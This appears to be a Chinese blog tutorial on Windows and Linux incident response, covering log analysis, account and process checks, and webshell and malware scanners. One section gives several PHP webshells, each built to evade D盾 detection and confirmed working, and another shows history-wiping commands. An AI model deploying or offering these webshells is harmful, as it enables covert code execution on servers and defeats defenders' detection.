39_应急响应

应急响应

一、应急响应第一步

断网

二、web日志分析

现存在这么一个日志文件,localhost_access_log.2021-04-01.txt
在这里插入图片描述

1. 想查看访问次数最多的ip

可以使用下面的命令
grep “时间” 代表搜索特定时间的ip
awk 分割,以空格分割,截取第一位
sort -rn 排序
uniq -c 计数
最后再使用sort -rn,将计数排序,就可以看到访问次数最多的ip了

cat localhost_access_log.2021-04-01.txt | grep "01/Apr/2021" | awk '{print $1}' | sort -rn | uniq -c | sort -rn

在这里插入图片描述

2. 获取指定ip 访问了哪些页面

比如说获取10.128.185.101访问了哪些页面
可以使用以下命令
grep “10.128.185.101” 指定特定的ip
选取访问的网站,所以awk按照空格分割选第7位
再去掉网站?后面的参数,所以再使用awk 指定?分割选择第1位
然后sort排序
uniq计数
sort最后给计数的排序

cat localhost_access_log.2021-04-01.txt | grep "10.128.185.101" |  awk  '{print $7}' | awk -F? '{print $1}'| sort -rn | uniq -c | sort -rn

在这里插入图片描述

3. 其它的命令

在这里插入图片描述

4. 日志分析工具

360星图在这里插入图片描述
(1) 先修改配置文件,日志文件的路径

在这里插入图片描述
这里我将localhost_access_log.2021-04-01.txt这个日记文件,复制到这里,并且改名access.txt
在这里插入图片描述
(2) 然后以管理员身份运行start.bat在这里插入图片描述
(3) 等待程序自动运行完,自动生成一个result文件夹
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、windows应急响应

1. 检查日志
(1) 日志管理工具

win + r 输入eventvwr.msc,打开日志管理工具
在这里插入图片描述
在这里插入图片描述

(2) 事件ID

一般重要的几个事件ID
4624 登录成功
4625 登录失败
4720 代表创建新用户
6005 代表开机系统
6006 代表关机系统
在这里插入图片描述

(3) 筛选功能

筛选指定的事件ID在这里插入图片描述在这里插入图片描述

(4) LogParserLizard_jb51工具查看
a) 安装工具

一直点下一步就行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

b) 工具导入windows日志文件

windows的日志文件一般存放在这里

C:\Windows\System32\winevt\Logs

在这里插入图片描述
我们将这将这三种日志文件复制一份,然后创建个目录放进去
系统日志 system.evtx
应用程序日志 application.evtx
安全日志 security.evtx

我这里放在之前创建的那个日志文件的地方在这里插入图片描述
然后LogParserLizard_jb51工具导入

在这里插入图片描述

c) 使用工具

点击这里运行,可以看到这个工具的使用跟mssql类似,都有top语法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2. 弱口令

判断操作系统是否存在弱口令,这个可以通过询问网络管理员

3. 检测敏感端口

判断是否存在敏感端口对外开放
我们的一些常见的端口
22 ssh
80 http
3306 mysql
1433 mssql
8080 tomcat
3389 远程登录
等等

4. 隐藏或者克隆账户

以$结尾的用户,使用net user查看不到,之前在权限维持的时候讲过
在这里插入图片描述

(1) 使用lusrmgr查看

win + r 输入lusrmgr.msc在这里插入图片描述

(2) 使用D盾

在这里插入图片描述

5. 检查可疑文件
(1) 通过端口定位可疑文件

cmd 输入命令 netstat -ano 查看端口
主要看established 状态的,established 状态代表外连的ip
在这里插入图片描述
然后通过对应的pid,使用tasklist定位
比如说6444pid,对应的是chrome.exe进程,直接找这个程序的完整路径
在这里插入图片描述
在这里插入图片描述

(2) 在线查杀

将可疑文件上传到在线杀毒网站

a) virustotal

https://www.virustotal.com/gui/home/upload在这里插入图片描述
这里我准备一个木马文件上传
基本两个以上的爆红,就被认为是病毒文件
在这里插入图片描述

b) 微步在线

https://x.threatbook.com/在这里插入图片描述
在这里插入图片描述

6. 查看进程
(1) msinfo32

msinfo32查看进程
在这里插入图片描述

在这里插入图片描述

(2) D盾

D盾查看进程在这里插入图片描述

(3) 火绒剑

火绒剑查看进程
在这里插入图片描述
在这里插入图片描述

7. 启动项
(1) 任务管理器

任务管理器查看启动项
在这里插入图片描述

(2) 注册表

注册表查看启动项

HKEY_CURRENT_USER\software\Microsoft\windows\CurrentVersion\run 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce 

在这里插入图片描述

(3) 火绒剑

在这里插入图片描述

8. 服务
(1) 服务查看器

win + r 输入services.msc 打开服务查看器
在这里插入图片描述

(2) 火绒剑

也是主要分析这种爆红的,未知文件
在这里插入图片描述

9. 计划任务
(1) 任务计划程序

本地搜索任务计划程序
在这里插入图片描述
在这里插入图片描述

(2) at 或者 schtasks 命令

cmd输入at 或者 schtasks 命令,查看计划任务
at 命令可以在低版本的windows使用
在这里插入图片描述

10. 检查系统相关信息

cmd 输入 systeminfo
在这里插入图片描述
根据systeminfo 的情况判断有哪些提权的工具可以使用

这有个在线提权的网站
https://i.hacking8.com/tiquan

在这里插入图片描述
在这里插入图片描述

11. 最近打开的文件

win + r 输入 %UserProfile%\Recent,可以列出最近打开的文件
在这里插入图片描述
通过查看最近打开的文件,寻找一些可疑的文件,有可能攻击者没清理干净痕迹,在这里就能看见什么时候,打开了某个木马文件
在这里插入图片描述

12. 查询用户

cmd 输入 quser 或者 query user , 查看当前主机登录了哪些用户
在这里插入图片描述

13. 病毒查杀软件

下面只是列出几个,还有很多杀软,百度去搜索即可

(1) 卡巴斯基

http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe

(2) 大蜘蛛

https://free.drweb.ru/download+cureit+free

(3) 火绒安全软件

https://www.huorong.cn/

(4) 360杀毒

http://sd.360.cn/download_center.html

14. webshell查杀
(1) D盾_webshell查杀

https://www.d99net.net/index.asp
在这里插入图片描述

(2) 河马webshell查杀

https://www.shellpub.com/
在这里插入图片描述

(3) 深信服Webshell网站后门检测工具

这个网站好像不见了,可以网上找找别人保存的
https://sec.sangfor.com.cn/download?file=WebShellKillerTool.rar
在这里插入图片描述

(4) Safe3

http://www.uusec.com/webshell.zip

(5) 百度webshell查杀

https://scanner.baidu.com/#/pages/intro
https://www.shelldetector.com/
在这里插入图片描述

(6) 长亭

https://stack.chaitin.com/security-challenge/webshell/index
在这里插入图片描述

(7) 安全狗

https://www.safedog.cn/website_safedog.html

15. webshell免杀

这里我们主要学习绕过D盾就行

D盾,河马,深信服 这几种的都属于静态查杀
而百度和长亭是动态查杀,会运行代码的

所以最难绕过的还是百度和长亭

(1) 封装到类里面

可以看到按照这种写法,D盾扫描不出来,经过测试,发现D盾扫不出这种利用回调函数的,比如call_user_func,但是会扫出利用assert()函数调用,或者利用引用变量函数调用的

下面的几个我就不给出结果了,都是经过测试,没有被扫描到,并且可以运行的

<?php

class A {

    private $val;
    public function __construct($val)
    {
        $this->val = $val;
    }

    public function  haha(){
        return 'ass';
    }

    public  function haha2(){
        return 'ert';
    }

    public function __destruct(){
        $a = $this->haha().$this->haha2();
        call_user_func($a,$this->val);
    }
}

$a_obj = new A($_GET[1]);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(2) 反射类调用注释

利用getDocComment方法,读取注释里面的内容

<?php
/**
 * assert
 */

class A{
    private $name;
    private $val;

    public function __construct($name,$val){
        $this->name = $name;
        $this->val = $val;
    }

    public function __destruct()
    {
       call_user_func($this->name,$this->val);
    }

}

$refcls = new ReflectionClass('A');
$name = substr($refcls->getDocComment(),8,6);
$a = new A($name,$_GET[1]);
(3) 反射类调用命名空间

<?php

namespace  assertHello{
    class A
    {
        private $name;
        private $val;

        public function __construct($name, $val)
        {
            $this->name = $name;
            $this->val = $val;
        }

        public function __destruct()
        {
            call_user_func($this->name, $this->val);
        }

    }

}

namespace {
    $refcls = new ReflectionClass('assertHello\A');
    $name = substr($refcls->getNamespaceName(), 0, 6);
    $refcls->newInstance($name,$_GET[1]);
}
(4) 反射类调用常量

这个是我自己联想出来的

<?php

error_reporting(0);

class A{
    const FUNCNAME = 'assert';
    private $name;
    private $val;

    public function __construct($name, $val)
    {
        $this->name = $name;
        $this->val = $val;
    }

    public function __destruct()
    {
        call_user_func($this->name, $this->val);
    }

}


$refcls = new ReflectionClass('A');
$name = $refcls->getConstant(FUNCNAME);
$refcls->newInstance($name,$_GET[1]);
(5) 正则替换函数preg_replace

除了call_user_func.也还可以使用preg_replace,或者usort,array_map等,这里其它的写起来可能复杂点,所以我自己试了下preg_replace

<?php

error_reporting(0);


class A{

    private $val;

    public function __construct($val)
    {
        $this->val = $val;
    }

    public function __destruct()
    {
        preg_replace('/test/e',$this->val,"just test!");
    }

}

$a = new A($_GET[1]);
(6) 数组

通过使用[] 数组 可以绕过对可变函数调用的限制

<?php

$a = 'ass';
$a.='ert';

array(1,array(2,array(3,array(4,[$a($_GET[1])]))));
16. 情报分析网站

可以将可以ip放到以下的网站去分析,或者某些网站也可以分析可以文件

微步在线: 	https://x.threatbook.com/
绿盟:		https://nti.nsfocus.com
奇安信: 	https://ti.qianxin.com
安恒: 		https://ti.dbappsecurity.com.cn
	  		https://data.websaas.cn
360: 		https://ti.360.cn
360移动端:	http://appscan.360.cn

四、windows应急响应之病毒案例

1. 勒索病毒

勒索病毒采用的是RSA非对称加密

(1) RSA 非对称加密

RSA 非对称加密
公钥 私钥

普通的client ====> 公钥加密 bihuo.cn ====> xxfdsfsadfsafsafa ===> 发给服务器
攻击者截取到xxfdsfsadfsafsafa 只有公钥 没有私钥 无法解密
服务器 拥有私钥 xxfdsfsadfsafsafa 解密 bihuo.cn

普通的client ===> bihuo.cn 加密数据 ====>xxxxfdsafsaf ====> 服务器

攻击者截取到xxxfdsafsaf 不知道对称的密钥 无法解密

(2) 对称加密

加密和解密使用的是同一个密码

(3) 中间人攻击

攻击者 伪造客户端身份 直接跟服务器通讯 中间人攻击

在这里插入图片描述

(4) 如何防御中间人攻击

比如cobalt strike工具登录的时候,有一步会问指纹是否匹配,这就是用来防御中间人攻击,

再比如浏览器,会利用受信任的根证书,都是用来防御中间人攻击的

  1. 证书过期
  2. 证书不可靠
    在这里插入图片描述
(5) 勒索病毒应急响应的流程

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2. 挖矿病毒

https://mp.weixin.qq.com/s/KfQ8oTJWoG0kMj_FWCSf9w
在这里插入图片描述

五、linux应急响应

1. 判断是否存在弱口令
2.判断是否有敏感端口对外开放
3. linux 是否有新增的用户
(1) 检查密码文件

/etc/passwd文件中 最后一项 /bin/bash /bin/sh 代表可以登录的用户

cat /etc/passwd | grep -E '\/bin\/(bash|sh)'

通过/etc/shadow 文件 判断用户是否可以登录 查看密码字段 看是否以$1 或者$6作为开头

cat /etc/shadow | grep -E '\:\$(1|6)'

在这里插入图片描述

(2) 禁用账户

这里如果发现可疑的用户,直接删除用户的话,用户的文件都会丢失,后面如果发现该用户不是攻击者,会造成很大麻烦,因此,当发现可疑用户的话,可疑先进行锁定,使之无法登录,然后去查询是否是授权的用户,是的话再解锁

/etc/shadow文件中,如果第二位密码以!号开头,代表用户被锁住,无法登录

禁用账户的命令

usermod -L 用户名

在这里插入图片描述
在这里插入图片描述

解锁账户的命令

usermod -U 用户名  

在这里插入图片描述
在这里插入图片描述

4. 权限配置错误

涉及sudo属性
sudo 当前用户能够在哪些主机下以哪些用户的身份执行特定的代码
只需要验证当前用户的密码
%sudo 代表的就是sudo组
在这里插入图片描述

5. 当前用户的登录情况

使用命令
w
uptime
who

w 查看当前用户登录情况
其中 tty 代表本地登录
pts 代表远程登录

可以看到当我在windows远程登录kali的时候,在kali里面使用再次使用w命令.对出个pts的,并且给出了windows的也就是远程登陆者的ip
在这里插入图片描述
在这里插入图片描述

6. 历史命令

history
查看历史记录命令

清除 history -c
history -c 只是清除内存中的历史命令,当打开另一个终端的时候,使用history还是可以查看到历史记录命令
在这里插入图片描述
在这里插入图片描述

永久清空 rm /home/用户名/.bash_history
在这里插入图片描述
root用户的永久清空 rm /root/.bash_history
在这里插入图片描述

7. 检查端口
(1) 查看端口

linux使用 netstat -antlp 查看端口
主要查看是否外连ip,是否established
在这里插入图片描述

(2) 查找文件

获取到怀疑的pid ===> ls -al /proc/pid/exe 找到真实执行的文件
在这里插入图片描述
也可以利用ps命令查找出文件的路径
ps -ef | grep pid 查看对应进程指向的真实的文件
在这里插入图片描述

(3) 将可疑文件上传

可以利用在virustotal或者微步在线等网站,上传文件,然后分析
在这里插入图片描述
在这 插入图片描述
在这里插入图片描述

8. 启动项

不同版本的linux系统启动项保存的位置会有差异
ubuntu centos redhat

这里我演示的kali,属于ubuntu

kali的启动项位置为 /etc/init.d
只要你怀疑下面的某些文件,就可以无脑上传到在线查杀网站,virustotal或者微步在线
在这里插入图片描述

9. 计划任务

在linux提权的时候,我们使用过/etc/crontab文件,来发布定时任务提权,
因此可以查看/etc/crontab文件,看是否被攻击者写入了定时任务
在这里插入图片描述
不光是/etc/crontab 文件,还有一些其它的文件也存在定时任务,并且和/etc/crontab 文件毫不冲突
在这里插入图片描述
在这里插入图片描述
cron.d 不同用户可以将自身的计划任务写在该目录下
cron.daily 代表每天
cron.hourly 代表每小时
cron.monthly 代表每月
coon.weekly 每周

下面以cron.daily举例,理论上这个目录下的程序每天都会定时的启动
在这里插入图片描述
如果怀疑某个文件,就可以无脑上传在线查杀网站,比如说我上传这个apache2文件
在这里插入图片描述

10. 服务

只限定redhat系统,输入命令chkconfig查看系统运行级别在这里插入图片描述
在这里插入图片描述
这里举例修改开机启动ssh服务,刚开始可以看到sshd服务的5是启用的,代表图形模式开启自启动
在这里插入图片描述
并且检查端口,22端口开放
在这里插入图片描述
此时我们使用命令chkconfig --level 5 sshd off 关闭sshd的5级别
在这里插入图片描述
重启系统,再次检查端口,22端口关闭,ssh服务在图形模式开机的时候未启动
在这里插入图片描述

11. 隐藏文件

当文件名以. 作为开头时 此时直接使用dir 或者 ls 并不能列出文件
必须使用ls -al才行
在这里插入图片描述

12. 日志文件

通过查看这些日志文件,或许可以发现攻击方遗留的痕迹

在这里插入图片描述
下面介绍几个日志文件

(1) /var/log/cron

通过查看 /var/log/cron 可以直到计划任务的执行情况
在这里插入图片描述

(2) /var/log/btmp

记录错误登录日志
使用lastb命令查看

这里我先使用ssh远程登录kali,使用错误的密码登录两次
在这里插入图片描述
可以发现 有两次 ssh:notty 并且 ip都列出来了,那是代表ssh登录失败的
而上面两个tty代表本地登录失败的

lastb 可以查看历史登录失败的具体时间 账户 方式
在这里插入图片描述

(3) /var/log/lastlog

使用lastlog命令查看这个日志文件
lastlog 就是记录 每一个用户最后一次登录的时间 以及通过何种方式登录

先使用lastlog查看
在这里插入图片描述
然后我在windows主机上以ssh远程登录kali,再使用lastlog命令
发现kali用户那一行, 出现了pts,并且给出了登录主机的ip
在这里插入图片描述

(4) /vat/log/wtmp

这个日志文件永久记录了所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,可以使用last命令查看
通过last命令可以查看每一次用户登录的时间 登出的时间

下面可以看到,我先使用last命令,发现kali这个用户是192.168.11.142主机登录者,并且显示仍在在线,pts代表的是远程登录的用户,这是因为之前,我在windows主机使用ssh远程登录了kali

当我在windows退出ssh连接后,发现在kali里面再次使用last命令,192.168.11.142主机不在登录,只给出了登录的时间段
在这里插入图片描述

(5) /var/log/utmp

这个文件记录已经登录的用户信息,可以使用w、who、users等命令查看
tty代表本地登录,pts代表远程登录在这里插入图片描述

(6) /var/log/secure

在这里插入图片描述

可以看到详细的登录情况

当我在redhat系统,故意以root用户登录失败两次,然后成功登录进去后
通过使用 cat /var/log/secure 这个命令查看这个日志文件,发现,两次登录失败,一次会话成功打开
在这里插入图片描述
既然可以本地登录记录,那么当使用别的主机通过ssh远程登录时候,发现一样被记录,两次故意登录失败,一次登录成功,并且会有sshd标识,代表远程登录的
在这里插入图片描述

13. 杀毒软件
(1) clamav

Ubuntu使用下面的命令按照clamav,一定要按照步骤来,中间有失败的命令,但还是要执行一下

apt-get update
sudo apt-get install clamav
sudo apt-get install clamav-daemon
sudo freshclam
sudo lsof /var/log/clamav/freshclam.log
sudo systemctl stop clamav-freshclam.service
sudo freshclam
clamscan

递归式的扫描/home目录  只打印有问题的文件 将有问题的文件移动到/opt/infected目录下 并将日志写入到
clamscan -r -i /home  --move=/opt/infected  -l /var/log/clamscan.log

这里安装成功,但是使用命令失败了,知道有这个软件就行
在这里插入图片描述
在这里插入图片描述

(2) rootkit 专杀工具chkrootkit

工具下载地址: http://www.chkrootkit.org/
可以理解rootkit是一个高级木马
在这里插入图片描述
这里直接使用的是脚本文件
在这里插入图片描述
因为我的kali里面没有rootkit病毒,所以没扫出来
在这里插入图片描述

(3) rkhunter

工具下载地址: http://rkhunter.sourceforge.net/
在这里插入图片描述

在这里插入图片描述
主要查看哪些告警的文件,如果怀疑哪个,就上传到在线查杀网站去
在这里插入图片描述

14. webshell查杀

参考windows的webshell查杀
安全狗 d盾 深信服 河马 百度webdir+ 长亭

15. 在线查杀网站
VirSCAN:
https://www.virscan.org
VirusTotal:
https://www.virustotal.com
ANY.RUN:
https://any.run
NoDistribute:
http://nodistribute.com
Hybrid Analysis:
https://www.hybrid-analysis.com
魔盾安全分析:
https://www.maldun.com
微步在线云沙箱:
https://s.threatbook.cn
腾讯哈勃分析系统:
https://habo.qq.com
奇安信威胁情报中心:
https://ti.qianxin.com
大圣云沙箱检测系统:
https://mac-cloud.riskivy.com

这里主要介绍ANY.RUN这个网站,它的沙盒是实时更新的,并且可以自己生成一个windows环境
在这里插入图片描述
我们自己使用msfvenom生成一个病毒,让它回连10.1.1.8的23331端口,ip都是瞎写的
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到,它检测出了ip和端口
在这里插入图片描述
将ip提交给情报分析平台
在这里插入图片描述

16. 基线扫描工具

网络安全基线扫描软件主要是扫描操作系统、数据库和网络设备的基本配置参数

(1) GScan

直接根据readme里面通过python运行脚本文件即可
在这里插入图片描述
在这里插入图片描述

(2) whokk

在这里插入图片描述
直接使用脚本 -h 给出帮助菜单
在这里插入图片描述
每个都可以去试试,下面演示了外连ip的
在这里插入图片描述

17. linux应急响应之病毒案例
(1) 挖矿病毒

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(2) SSH暴力破解+crontab隐藏后门

https://mp.weixin.qq.com/s/kvl9WP1jJpoFZ-SO97urmA
在这里插入图片描述

(3) webshell后门

https://mp.weixin.qq.com/s/fMXI1AaGoaZJzwpY-IIaQQ在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值